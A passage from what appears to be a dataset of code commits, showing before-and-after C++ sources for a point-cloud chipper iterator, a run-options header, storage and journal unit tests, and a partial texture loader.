data.copyPointFast(0, currentPointIndex % cacheBlockSize, *block);\n\/\/ \/\/ \n\/\/ \/\/ m_filter.updateStats(0, 1);\n\/\/ \/\/ \n\/\/ \/\/ return 1;\n\/\/ \/\/ }\n\/\/ \/\/ \n\/\/ \/\/ \/\/ Not in the cache, so do a normal read :-(\n\/\/ \/\/ const boost::uint32_t numRead = getPrevIterator().read(data);\n\/\/ \/\/ m_filter.updateStats(numRead, numRead);\n\/\/ \n\/\/ return numRead;\n\/\/ }\n\/\/ \n\n\n\n} } \/\/ namespaces\n<commit_msg>hop out of readImpl before resetting the buffer's count to 0<commit_after>\/******************************************************************************\n* Copyright (c) 2011, Michael P. Gerlek (mpg@flaxen.com)\n*\n* All rights reserved.\n*\n* Redistribution and use in source and binary forms, with or without\n* modification, are permitted provided that the following\n* conditions are met:\n*\n* * Redistributions of source code must retain the above copyright\n* notice, this list of conditions and the following disclaimer.\n* * Redistributions in binary form must reproduce the above copyright\n* notice, this list of conditions and the following disclaimer in\n* the documentation and\/or other materials provided\n* with the distribution.\n* * Neither the name of Hobu, Inc. or Flaxen Geo Consulting nor the\n* names of its contributors may be used to endorse or promote\n* products derived from this software without specific prior\n* written permission.\n*\n* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n* \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY\n* OF SUCH DAMAGE.\n****************************************************************************\/\n\n#include <libpc\/filters\/ChipperIterator.hpp>\n\n\nnamespace libpc { namespace filters {\n\n\nChipperSequentialIterator::ChipperSequentialIterator(Chipper const& filter)\n : libpc::FilterSequentialIterator(filter)\n , m_chipper(filter)\n , m_currentBlockId(0)\n , m_currentPointCount(0)\n{\n const_cast<Chipper&>(m_chipper).Chip();\n return;\n}\n\nboost::uint64_t ChipperSequentialIterator::skipImpl(boost::uint64_t count)\n{\n return naiveSkipImpl(count);\n}\n\n\nboost::uint32_t ChipperSequentialIterator::readImpl(PointBuffer& buffer)\n{\n \/\/ The client has asked us for dstData.getCapacity() points.\n \/\/ We will read from our previous stage until we get that amount (or\n \/\/ until the previous stage runs out of points).\n\n if (m_currentBlockId == m_chipper.GetBlockCount())\n return 0; \/\/ we're done.\n\n\n buffer.setNumPoints(0);\n\n filters::chipper::Block const& block = m_chipper.GetBlock(m_currentBlockId);\n std::size_t numPointsThisBlock = block.GetIDs().size();\n m_currentPointCount = m_currentPointCount + numPointsThisBlock;\n \n if (buffer.getCapacity() < numPointsThisBlock)\n {\n \/\/ FIXME: Expand the buffer?\n throw libpc_error(\"Buffer not large enough to hold block!\");\n }\n block.GetBuffer(m_chipper.getPrevStage(), buffer, m_currentBlockId);\n \n \/\/ FIXME: Set the PointBuffer's Bounds\n \n buffer.setSpatialBounds(block.GetBounds());\n m_currentBlockId++;\n return numPointsThisBlock;\n\n}\n\n\nbool ChipperSequentialIterator::atEndImpl() const\n{\n \/\/ we don't have a fixed point point --\n \/\/ we are at the end only when our source is at the end\n const SequentialIterator& iter = getPrevIterator();\n return iter.atEnd();\n}\n\n\n\/\/ boost::uint64_t ChipperSequentialIterator::skipImpl(boost::uint64_t count)\n\/\/ {\n\/\/ getPrevIterator().skip(count);\n\/\/ return count;\n\/\/ }\n\/\/ \n\/\/ \n\/\/ bool ChipperSequentialIterator::atEndImpl() const\n\/\/ {\n\/\/ return getPrevIterator().atEnd();\n\/\/ }\n\/\/ \n\/\/ \n\/\/ boost::uint32_t ChipperSequentialIterator::readImpl(PointBuffer& data)\n\/\/ {\n\/\/ const boost::uint32_t numRead = getPrevIterator().read(data);\n\/\/ \/\/ const boost::uint32_t cacheBlockSize = m_filter.getCacheBlockSize();\n\/\/ \/\/ \n\/\/ \/\/ const boost::uint64_t currentPointIndex = getIndex();\n\/\/ \/\/ \n\/\/ \/\/ \/\/ for now, we only read from the cache if they are asking for one point\n\/\/ \/\/ \/\/ (this avoids the problem of an N-point request needing more than one\n\/\/ \/\/ \/\/ cached block to satisfy it)\n\/\/ \/\/ if (data.getCapacity() != 1)\n\/\/ \/\/ {\n\/\/ \/\/ const boost::uint32_t numRead = getPrevIterator().read(data);\n\/\/ \/\/ \n\/\/ \/\/ \/\/ if they asked for a full block and we got a full block,\n\/\/ \/\/ \/\/ and the block we got is properly aligned and not already cached,\n\/\/ \/\/ \/\/ then let's cache it!\n\/\/ \/\/ const bool isCacheable = (data.getCapacity() == cacheBlockSize) && \n\/\/ \/\/ (numRead == cacheBlockSize) && \n\/\/ \/\/ (currentPointIndex % cacheBlockSize == 0);\n\/\/ \/\/ if (isCacheable && (m_filter.lookupInCache(currentPointIndex) == NULL))\n\/\/ \/\/ {\n\/\/ \/\/ m_filter.addToCache(currentPointIndex, data);\n\/\/ \/\/ }\n\/\/ \/\/ \n\/\/ \/\/ m_filter.updateStats(numRead, data.getCapacity());\n\/\/ \/\/ \n\/\/ \/\/ return numRead;\n\/\/ \/\/ }\n\/\/ \/\/ \n\/\/ \/\/ \/\/ they asked for just one point -- first, check Mister Cache\n\/\/ \/\/ const PointBuffer* block = m_filter.lookupInCache(currentPointIndex);\n\/\/ \/\/ if (block != NULL)\n\/\/ \/\/ {\n\/\/ \/\/ \/\/ A hit! A palpable hit!\n\/\/ \/\/ data.copyPointFast(0, currentPointIndex % cacheBlockSize, *block);\n\/\/ \/\/ \n\/\/ \/\/ m_filter.updateStats(0, 1);\n\/\/ \/\/ \n\/\/ \/\/ return 1;\n\/\/ \/\/ }\n\/\/ \/\/ \n\/\/ \/\/ \/\/ Not in the cache, so do a normal read :-(\n\/\/ \/\/ const boost::uint32_t numRead = getPrevIterator().read(data);\n\/\/ \/\/ m_filter.updateStats(numRead, numRead);\n\/\/ \n\/\/ return numRead;\n\/\/ }\n\/\/ \n\n\n\n} } \/\/ namespaces\n<|endoftext|>"} {"text":"<commit_before>\/* See other files here for the LICENCE that applies here. *\/\n\/*\nTemplate for new files, replace word \"template\" and later delete this line here.\n*\/\n\n#ifndef INCLUDE_OT_NEWCLI_template\n#define INCLUDE_OT_NEWCLI_template\n\n#include \"lib_common1.hpp\"\n\nnamespace nOT {\n\nINJECT_OT_COMMON_USING_NAMESPACE_COMMON_1; \/\/ <=== namespaces\n\n\/** Global options to run this program main() Eg used for developer's special options like +setdemo +setdebug.\nThis is NOT for all the other options that are parsed and executed by program. *\/\nclass cRunOptions {\n\tpublic:\n\t\tenum tRunMode { \/\/\/< Type of run mode - is this normal, or demonstration etc.\n\t\t\teRunModeCurrent=1, \/\/\/< currently developed version\n\t\t\teRunModeDemo, \/\/\/< best currently available Demo of something nice\n\t\t\teRunModeNormal, \/\/\/< do the normal things that the program should do\n\t\t};\n\n\tprivate:\n\t\ttRunMode mRunMode; \/\/\/< selected run mode\n\n\t\tbool mDebug; \/\/ turn debug on, Eg: +debug without it probably nothing will be written to debug (maybe just error etc)\n\t\tbool mDebugSendToFile; \/\/ send to file, Eg: for +debugfile ; also turns on debug\n\t\tbool mDebugSendToCerr; \/\/ send to cerr, Eg: for +debugcerr ; also turns on debug\n\t\t\/\/ if debug is set but not any other DebugSend* then we will default to sending to debugcerr\n\n\t\tbool mDoRunDebugshow;\n\n\tpublic:\n\t\tconst tRunMode getTRunMode() { return mRunMode; }\n\t\tconst bool getDebug() { return mDebug; }\n\t\tconst bool getDebugSendToFile() { return mDebugSendToFile; }\n\t\tconst bool getDebugSendToCerr() { return mDebugSendToCerr; }\n\t\tconst bool getDoRunDebugshow() { return mDoRunDebugshow; }\n\n\t\tcRunOptions();\n\n\t\tvector<string> ExecuteRunoptionsAndRemoveThem(const vector<string> & args);\n\t\tvoid Exec(const string & runoption); \/\/ eg: Exec(\"+debug\");\n\n\t\tvoid Normalize();\n};\n\nextern cRunOptions gRunOptions;\n\n\n}; \/\/ namespace nOT\n\n\n\n#endif\n\n<commit_msg>[detail] include guard name in runoptions<commit_after>\/* See other files here for the LICENCE that applies here. *\/\n\/*\nTemplate for new files, replace word \"template\" and later delete this line here.\n*\/\n\n#ifndef INCLUDE_OT_NEWCLI_runoptions_hpp\n#define INCLUDE_OT_NEWCLI_runoptions_hpp\n\n#include \"lib_common1.hpp\"\n\nnamespace nOT {\n\nINJECT_OT_COMMON_USING_NAMESPACE_COMMON_1; \/\/ <=== namespaces\n\n\/** Global options to run this program main() Eg used for developer's special options like +setdemo +setdebug.\nThis is NOT for all the other options that are parsed and executed by program. *\/\nclass cRunOptions {\n\tpublic:\n\t\tenum tRunMode { \/\/\/< Type of run mode - is this normal, or demonstration etc.\n\t\t\teRunModeCurrent=1, \/\/\/< currently developed version\n\t\t\teRunModeDemo, \/\/\/< best currently available Demo of something nice\n\t\t\teRunModeNormal, \/\/\/< do the normal things that the program should do\n\t\t};\n\n\tprivate:\n\t\ttRunMode mRunMode; \/\/\/< selected run mode\n\n\t\tbool mDebug; \/\/ turn debug on, Eg: +debug without it probably nothing will be written to debug (maybe just error etc)\n\t\tbool mDebugSendToFile; \/\/ send to file, Eg: for +debugfile ; also turns on debug\n\t\tbool mDebugSendToCerr; \/\/ send to cerr, Eg: for +debugcerr ; also turns on debug\n\t\t\/\/ if debug is set but not any other DebugSend* then we will default to sending to debugcerr\n\n\t\tbool mDoRunDebugshow;\n\n\tpublic:\n\t\tconst tRunMode getTRunMode() { return mRunMode; }\n\t\tconst bool getDebug() { return mDebug; }\n\t\tconst bool getDebugSendToFile() { return mDebugSendToFile; }\n\t\tconst bool getDebugSendToCerr() { return mDebugSendToCerr; }\n\t\tconst bool getDoRunDebugshow() { return mDoRunDebugshow; }\n\n\t\tcRunOptions();\n\n\t\tvector<string> ExecuteRunoptionsAndRemoveThem(const vector<string> & args);\n\t\tvoid Exec(const string & runoption); \/\/ eg: Exec(\"+debug\");\n\n\t\tvoid Normalize();\n};\n\nextern cRunOptions gRunOptions;\n\n\n}; \/\/ namespace nOT\n\n\n\n#endif\n\n<|endoftext|>"} {"text":"<commit_before>\/* This file is part of the UniSet project\n * Copyright (c) 2009 Free Software Foundation, Inc.\n * Copyright (c) 2009 Ivan Donchevskiy\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n *\/\n\/\/ --------------------------------------------------------------------------\n\/*! \\file\n * \\author Ivan Donchevskiy\n * \\date $Date: 2009\/07\/15 15:55:00 $\n * \\version $Id: Jrn.h,v 1.0 2009\/07\/15 15:55:00 vpashka Exp $\n *\/\n\/\/ --------------------------------------------------------------------------\n\n\n#include \"stdio.h\"\n#include \"stdlib.h\"\n#include \"string.h\"\n#include \"Storages.h\"\n#include \"UniXML.h\"\n\nvoid testTable1(void)\n{\n\tchar *chr=new char[20];\n\tchar *val=new char[40];\n\tTableStorage *t;\n\tt = new TableStorage(\"table.test\", 40, 1220, 0);\n\tint i;\n\tfor(i=0;i<20;i++)\n\t{\n\t\tchr[0]=i;\n\t\tsprintf(val,\"%d\",i);\n\t\tt->AddRow(chr,val);\n\t}\n\tprintf(\"elements with values=keys added:\\n\");\n\tfor(i=0;i<40;i++)\n\t{\n\t\tchr[0]=i;\n\t\tif(t->FindKeyValue(chr,val)!=0) printf(\"%s, \",val);\n\t}\n\tprintf(\"\\n\");\n\tfor(i=9;i<15;i++)\n\t{\n\t\tchr[0]=i;\n\t\tt->DelRow(chr);\n\t}\n\tprintf(\"elements with keys from 9 to 14 deleted\\n\");\n\tfor(i=9;i<15;i++)\n\t{\n\t\tchr[0]=i;\n\t\tsprintf(val,\"%d\",i+40);\n\t\tt->AddRow(chr,val);\n\t}\n\tprintf(\"elements with keys from 9 to 14 with values=key+40 added, all elements:\\n\");\n\tfor(i=0;i<40;i++)\n\t{\n\t\tchr[0]=i;\n\t\tif(t->FindKeyValue(chr,val)!=0) printf(\"%s, \",val);\n\t}\n\tprintf(\"\\n\");\n}\n\nvoid testTable2(void)\n{\n\tchar *val=new char[40];\n\tTableBlockStorage *t;\n\tt = new TableBlockStorage(\"big_file.test\", 4, 40, 20000, 5,28,0,true);\n\tint i;\n\tfor(i=1;i<20;i++)\n\t{\n\t\tif(t->FindKeyValue(&i,val)!=0) printf(\"%s, \",val);\n\t}\n\tprintf(\"\\ncurrent block = %d\\n\",t->GetCurBlock());\n\tfor(i=1;i<11;i++)\n\t{\n\t\tsprintf(val,\"%d\",i);\n\t\tt->AddRow((char*)&i,val);\n\t}\n\tprintf(\"current block = %d, elements with values=keys added:\\n\",t->GetCurBlock());\n\tfor(i=1;i<20;i++)\n\t{\n\t\tif(t->FindKeyValue(&i,val)!=0) printf(\"%s, \",val);\n\t}\n\tprintf(\"\\ncurrent block = %d, rewriting first 7 with values=keys+10\\n\",t->GetCurBlock());\n\tfor(i=1;i<8;i++)\n\t{\n\t\tsprintf(val,\"%d\",i+10);\n\t\tt->AddRow(&i,val);\n\t}\n\tprintf(\"deleteing 8-10 elements\\n\");\n\tfor(i=8;i<11;i++)\n\t{\n\t\tt->DelRow(&i);\n\t}\n\tfor(i=1;i<20;i++)\n\t{\n\t\tif(t->FindKeyValue(&i,val)!=0) printf(\"%s, \",val);\n\t}\n\tprintf(\"\\ncurrent block = %d, rewriting 3-10 elements with values=keys+40\\n\",t->GetCurBlock());\n\tfor(i=3;i<11;i++)\n\t{\n\t\tsprintf(val,\"%d\",i+40);\n\t\tt->AddRow(&i,val);\n\t}\n\tfor(i=1;i<20;i++)\n\t{\n\t\tif(t->FindKeyValue(&i,val)!=0) printf(\"%s, \",val);\n\t}\n\tprintf(\"\\ncurrent block = %d\\n\",t->GetCurBlock());\n\n\tstrcpy(val,\"new block\");\n\ti=9;\n\tt->AddRow(&i,val);\n\tfor(i=1;i<20;i++)\n\t{\n\t\tif(t->FindKeyValue((char*)&i,val)!=0) printf(\"%s, \",val);\n\t}\n\tprintf(\"\\ncurrent block = %d\\n\",t->GetCurBlock());\n\tprintf(\"after reopen:\\n\");\n\tt->Open(\"big_file.test\", 4, 40, 20000, 5,28,0);\n\tfor(i=1;i<20;i++)\n\t{\n\t\tif(t->FindKeyValue(&i,val)!=0) printf(\"%s, \",val);\n\t}\n\tprintf(\"\\ncurrent block = %d\\n\",t->GetCurBlock());\n\tdelete t;\n}\n\nvoid testJournal1(void)\n{\n\tCycleStorage *j;\n\tint i;\n\tchar *str = new char[30];\n\tprintf(\"journal test 1\\n\");\n\tj = new CycleStorage(\"big_file.test\",30,1000000,20000,true);\n\tfor(i=1;i<33000;i++)\n\t{\n\t\tsprintf(str,\"%d\",i);\n\t\tj->AddRow(str);\n\t}\n\tprintf(\"\\nfirst 30 elements:\\n\");\n\tfor(i=0;i<30;i++)\n\t{\n\t\tif(j->ReadRow(i,str))\n\t\t\tprintf(\"%s\\n\",str);\n\t}\n\n\tprintf(\"test of 2 classes working in 1 file together\\n\");\n\tTableBlockStorage *t = new TableBlockStorage(\"big_file.test\", 4, 40, 20000, 5,28,0);\n\tchar *val = new char[40];\n\tfor(i=1;i<20;i++)\n\t{\n\t\tif(t->FindKeyValue((char*)&i,val)!=0) printf(\"%s, \",val);\n\t}\n\tprintf(\"\\ncurrent block = %d\\n\\n\",t->GetCurBlock());\n\n\tprintf(\"\\nfirst 30 elements after deleting first 20:\\n\");\n\tfor(i=0;i<20;i++)\n\t{\n\t\tj->DelRow(i);\n\t}\n\tfor(i=0;i<30;i++)\n\t{\n\t\tif(j->ReadRow(i,str))\n\t\t\tprintf(\"%s\\n\",str);\n\t}\n\tprintf(\"\\nfirst 20 after adding 10 elements\\n\");\n\tfor(i=10001;i<10011;i++)\n\t{\n\t\tsprintf(str,\"%d\",i);\n\t\tj->AddRow(str);\n\t}\n\tfor(i=0;i<20;i++)\n\t{\n\t\tif(j->ReadRow(i,str))\n\t\t\tprintf(\"%s\\n\",str);\n\t}\n\tprintf(\"\\nthe same after reopen:\\n\");\n\tdelete j;\n\tj = new CycleStorage();\n\tj->Open(\"big_file.test\",30,1000000,20000);\n\tfor(i=0;i<20;i++)\n\t{\n\t\tif(j->ReadRow(i,str))\n\t\t\tprintf(\"%s\\n\",str);\n\t}\n\tprintf(\"\\n\");\n\tdelete t;\n\tdelete j;\n}\n\nvoid testJournal2(void)\n{\n\tCycleStorage *j;\n\tint i,k;\n\tchar *str = (char*)malloc(30);\n\tj = new CycleStorage(\"big_file.test\",30,1000000,20000);\n\tprintf(\"journal test 2 - checking number of iterations to find head\/tail\\n\");\n\tprintf(\"iterations = %d\\n\",j->GetIter());\n\tfor(i=0;i<20;i++)\n\t{\n\t\tfor(k=1000;k<3000;k++)\n\t\t{\n\t\t\tsprintf(str,\"%d\",k);\n\t\t\tj->AddRow(str);\n\t\t}\n\t\tj->Open(\"big_file.test\",30,1000000,20000);\n\t\tprintf(\"iterations = %d\\n\",j->GetIter());\n\t}\n\tprintf(\"\\n\");\n\tdelete j;\n}\n\nint main(int args, char **argv)\n{\n\t\/\/testTable1();\n\ttestTable2();\n\n\ttestJournal1();\n\ttestJournal2();\n\n\treturn 0;\n}<commit_msg>\/Utilities improovements in JrnTest<commit_after>\/* This file is part of the UniSet project\n * Copyright (c) 2009 Free Software Foundation, Inc.\n * Copyright (c) 2009 Ivan Donchevskiy\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n *\/\n\/\/ --------------------------------------------------------------------------\n\/*! \\file\n * \\author Ivan Donchevskiy\n * \\date $Date: 2009\/07\/15 15:55:00 $\n * \\version $Id: Jrn.h,v 1.0 2009\/07\/15 15:55:00 vpashka Exp $\n *\/\n\/\/ --------------------------------------------------------------------------\n\n\n#include \"stdio.h\"\n#include \"stdlib.h\"\n#include \"string.h\"\n#include \"Storages.h\"\n#include \"UniXML.h\"\n\nvoid testTable1(void)\n{\n\tchar *chr=new char[20];\n\tchar *val=new char[40];\n\tTableStorage *t;\n\tt = new TableStorage(\"table.test\", 40, 1220, 0);\n\tint i;\n\tfor(i=0;i<20;i++)\n\t{\n\t\tchr[0]=i;\n\t\tsprintf(val,\"%d\",i);\n\t\tt->AddRow(chr,val);\n\t}\n\tprintf(\"elements with values=keys added:\\n\");\n\tfor(i=0;i<40;i++)\n\t{\n\t\tchr[0]=i;\n\t\tif(t->FindKeyValue(chr,val)!=0) printf(\"%s, \",val);\n\t}\n\tprintf(\"\\n\");\n\tfor(i=9;i<15;i++)\n\t{\n\t\tchr[0]=i;\n\t\tt->DelRow(chr);\n\t}\n\tprintf(\"elements with keys from 9 to 14 deleted\\n\");\n\tfor(i=9;i<15;i++)\n\t{\n\t\tchr[0]=i;\n\t\tsprintf(val,\"%d\",i+40);\n\t\tt->AddRow(chr,val);\n\t}\n\tprintf(\"elements with keys from 9 to 14 with values=key+40 added, all elements:\\n\");\n\tfor(i=0;i<40;i++)\n\t{\n\t\tchr[0]=i;\n\t\tif(t->FindKeyValue(chr,val)!=0) printf(\"%s, \",val);\n\t}\n\tprintf(\"\\n\");\n}\n\nbool testTable2(void)\n{\n\tchar *val=new char[40];\n\tTableBlockStorage *t;\n\tt = new TableBlockStorage();\n\tt->Create(\"big_file.test\", 4, 40, 20000, 5,28,0);\n\tint i;\n\tfor(i=1;i<20;i++)\n\t{\n\t\tif(t->FindKeyValue(&i,val)!=0) printf(\"%s, \",val);\n\t}\n\tprintf(\"\\n\");\n\tif(t->GetCurBlock()!=0)\n\t{\n\t\tdelete t;\n\t\treturn false;\n\t}\n\tfor(i=1;i<11;i++)\n\t{\n\t\tsprintf(val,\"%d\",i);\n\t\tt->AddRow((char*)&i,val);\n\t}\n\tif(t->GetCurBlock()!=0)\n\t{\n\t\tdelete t;\n\t\treturn false;\n\t}\n\tfor(i=1;i<20;i++)\n\t{\n\t\tif(t->FindKeyValue(&i,val)!=0) printf(\"%s, \",val);\n\t\tif(val[0]==0)\n\t\t{\n\t\t\tdelete t;\n\t\t\treturn false;\n\t\t}\n\t}\n\tprintf(\"\\n\");\n\tif(t->GetCurBlock()!=0)\n\t{\n\t\tdelete t;\n\t\treturn false;\n\t}\n\tfor(i=1;i<8;i++)\n\t{\n\t\tsprintf(val,\"%d\",i+10);\n\t\tt->AddRow(&i,val);\n\t}\n\tprintf(\"deleteing 8-10 elements\\n\");\n\tfor(i=8;i<11;i++)\n\t{\n\t\tt->DelRow(&i);\n\t}\n\tfor(i=1;i<20;i++)\n\t{\n\t\tif(t->FindKeyValue(&i,val)!=0)\n\t\t{\n\t\t\tprintf(\"%s, \",val);\n\t\t\tif((i > 7)&&(i <11))\n\t\t\t{\n\t\t\t\tdelete t;\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\tif((val[0] == 0)&&(i < 8))\n\t\t{\n\t\t\tdelete t;\n\t\t\treturn false;\n\t\t}\n\t}\n\tprintf(\"\\nrewriting 3-10 elements with values=keys+40\\n\");\n\tif(t->GetCurBlock()!=0)\n\t{\n\t\tdelete t;\n\t\treturn false;\n\t}\n\tfor(i=3;i<11;i++)\n\t{\n\t\tsprintf(val,\"%d\",i+40);\n\t\tt->AddRow(&i,val);\n\t}\n\tfor(i=1;i<20;i++)\n\t{\n\t\tif(t->FindKeyValue(&i,val)!=0) printf(\"%s, \",val);\n\t\tif((atoi(val) != i+40) && (i>2) && (i<11))\n\t\t{\n\t\t\tdelete t;\n\t\t\treturn false;\n\t\t}\n\t\tif((atoi(val) != i+10) && (i<3))\n\t\t{\n\t\t\tdelete t;\n\t\t\treturn false;\n\t\t}\n\t}\n\tif(t->GetCurBlock()!=0)\n\t{\n\t\tdelete t;\n\t\treturn false;\n\t}\n\n\tstrcpy(val,\"new block\");\n\ti=9;\n\tt->AddRow(&i,val);\n\tfor(i=1;i<20;i++)\n\t{\n\t\tif(t->FindKeyValue((char*)&i,val)!=0) printf(\"%s, \",val);\n\t}\n\tif(t->GetCurBlock()!=1)\n\t{\n\t\tdelete t;\n\t\treturn false;\n\t}\n\tprintf(\"after reopen:\\n\");\n\tt->Open(\"big_file.test\", 4, 40, 20000, 5,28,0);\n\tfor(i=1;i<20;i++)\n\t{\n\t\tif(t->FindKeyValue(&i,val)!=0) printf(\"%s, \",val);\n\t}\n\tif(t->GetCurBlock()!=1)\n\t{\n\t\tdelete t;\n\t\treturn false;\n\t}\n\tdelete t;\n\treturn true;\n}\n\nbool testJournal1(void)\n{\n\tCycleStorage *j;\n\tint i,k=0;\n\tchar *str = new char[30];\n\tprintf(\"journal test 1\\n\");\n\tj = new CycleStorage(\"big_file.test\",30,1000000,20000,true);\n\tfor(i=1;i<33000;i++)\n\t{\n\t\tsprintf(str,\"%d\",i);\n\t\tj->AddRow(str);\n\t}\n\tprintf(\"first 30 elements:\\n\");\n\tfor(i=0;i<30;i++)\n\t{\n\t\tif(j->ReadRow(i,str))\n\t\t{\n\t\t\tprintf(\"%s\\n\",str);\n\t\t\tk++;\n\t\t}\n\t}\n\tif(k < 30)\n\t{\n\t\tdelete j;\n\t\treturn false;\n\t}\n\tk = 0;\n\n\tprintf(\"test of 2 classes working in 1 file together\\n\");\n\tTableBlockStorage *t = new TableBlockStorage(\"big_file.test\", 4, 40, 20000, 5,28,0);\n\tchar *val = new char[40];\n\tfor(i=1;i<20;i++)\n\t{\n\t\tif(t->FindKeyValue((char*)&i,val)!=0) printf(\"%s, \",val);\n\t\tif((atoi(val) != i+10) && (i<3))\n\t\t{\n\t\t\tdelete t;\n\t\t\tdelete j;\n\t\t\treturn false;\n\t\t}\n\t}\n\n\tprintf(\"\\nfirst 30 elements after deleting first 20:\\n\");\n\tfor(i=0;i<20;i++)\n\t{\n\t\tj->DelRow(i);\n\t}\n\tfor(i=0;i<30;i++)\n\t{\n\t\tif(j->ReadRow(i,str))\n\t\t{\n\t\t\tprintf(\"%s\\n\",str);\n\t\t\tk++;\n\t\t}\n\t}\n\tif(k != 10)\n\t{\n\t\tdelete t;\n\t\tdelete j;\n\t\treturn false;\n\t}\n\tk = 0;\n\n\tprintf(\"first 20 after adding 10 elements\\n\");\n\tfor(i=10001;i<10011;i++)\n\t{\n\t\tsprintf(str,\"%d\",i);\n\t\tj->AddRow(str);\n\t}\n\tfor(i=0;i<20;i++)\n\t{\n\t\tif(j->ReadRow(i,str))\n\t\t{\n\t\t\tprintf(\"%s\\n\",str);\n\t\t\tk++;\n\t\t}\n\t}\n\tif(k != 10)\n\t{\n\t\tdelete t;\n\t\tdelete j;\n\t\treturn false;\n\t}\n\tk = 0;\n\n\tprintf(\"the same after reopen:\\n\");\n\tdelete j;\n\tj = new CycleStorage();\n\tj->Open(\"big_file.test\",30,1000000,20000);\n\tfor(i=0;i<20;i++)\n\t{\n\t\tif(j->ReadRow(i,str))\n\t\t{\n\t\t\tprintf(\"%s\\n\",str);\n\t\t\tk++;\n\t\t}\n\t}\n\tif(k != 10)\n\t{\n\t\tdelete t;\n\t\tdelete j;\n\t\treturn false;\n\t}\n\tk = 0;\n\n\tprintf(\"the same after reopen:\\n\");\n\tdelete j;\n\tj = new CycleStorage();\n\tj->Open(\"big_file.test\",30,1000000,20000);\n\tfor(i=0;i<20;i++)\n\t{\n\t\tif(j->ReadRow(i,str))\n\t\t{\n\t\t\tprintf(\"%s\\n\",str);\n\t\t\tk++;\n\t\t}\n\t}\n\tif(k != 10)\n\t{\n\t\tdelete t;\n\t\tdelete j;\n\t\t\/\/return false;\n\t}\n\n\tdelete t;\n\tdelete j;\n\treturn true;\n}\n\nvoid testJournal2(void)\n{\n\tCycleStorage *j;\n\tint i,k;\n\tchar *str = (char*)malloc(30);\n\tj = new CycleStorage(\"big_file.test\",30,1000000,20000);\n\tprintf(\"journal test 2 - checking number of iterations to find head\/tail\\n\");\n\tprintf(\"iterations = %d\\n\",j->GetIter());\n\tfor(i=0;i<20;i++)\n\t{\n\t\tfor(k=1000;k<3000;k++)\n\t\t{\n\t\t\tsprintf(str,\"%d\",k);\n\t\t\tj->AddRow(str);\n\t\t}\n\t\tj->Open(\"big_file.test\",30,1000000,20000);\n\t\tprintf(\"iterations = %d\\n\",j->GetIter());\n\t}\n\tprintf(\"\\n\");\n\tdelete j;\n}\n\nint main(int args, char **argv)\n{\n\t\/\/testTable1();\n\n\tbool ok = true;\n\tif(testTable2())\n\t\tprintf(\"\\nTest for TableBlockStorage passed\\n\\n\");\n\telse\n\t{\n\t\tprintf(\"\\nTest for TableBlockStorage failed\\n\\n\");\n\t\tok = false;\n\t}\n\n\tif(testJournal1())\n\t\tprintf(\"\\nTest1 for CycleStorage passed\\n\\n\");\n\telse\n\t{\n\t\tprintf(\"\\nTest for CycleStorage failed\\n\\n\");\n\t\tok = false;\n\t}\n\n\tif(ok)\n\t{\n\t\ttestJournal2();\n\t\tprintf(\"TEST PASSED :)\\n\");\n\t}\n\telse\n\t\tprintf(\"TEST FAILED :(\\n\");\n\treturn 0;\n}<|endoftext|>"} {"text":"<commit_before>#include \"stdafx.h\"\r\n\r\nTexMan texMan;\r\n\r\n#ifndef _MSC_VER\r\nstatic GLuint LoadTextureViaOS(const char* name)\r\n{\r\n\tjclass myview = jniEnv->FindClass(boundJavaClass);\r\n\tjmethodID method = method = jniEnv->GetStaticMethodID(myview, \"loadTexture\", \"(Ljava\/lang\/String;)I\");\r\n\tif (method == 0) {\r\n\t\treturn 0;\r\n\t}\r\n\treturn jniEnv->CallStaticIntMethod(myview, method, jniEnv->NewStringUTF(name));\r\n}\r\n#endif\r\n\r\n#ifdef _MSC_VER\r\nusing std::min;\r\nusing std::max;\r\n#include <gdiplus.h>\r\n#pragma comment(lib, \"gdiplus.lib\")\r\n\r\nstatic GLuint LoadTextureViaOS(const char* name)\r\n{\r\n\tGdiplus::GdiplusStartupInput gdiplusStartupInput;\r\n\tULONG_PTR gdiplusToken;\r\n\tGdiplus::GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, nullptr);\r\n\tWCHAR wc[MAX_PATH];\r\n\tMultiByteToWideChar(CP_ACP, 0, name, -1, wc, dimof(wc));\r\n\tGdiplus::Bitmap* image = new Gdiplus::Bitmap(wc);\r\n\r\n\tint w = (int)image->GetWidth();\r\n\tint h = (int)image->GetHeight();\r\n\tGdiplus::Rect rc(0, 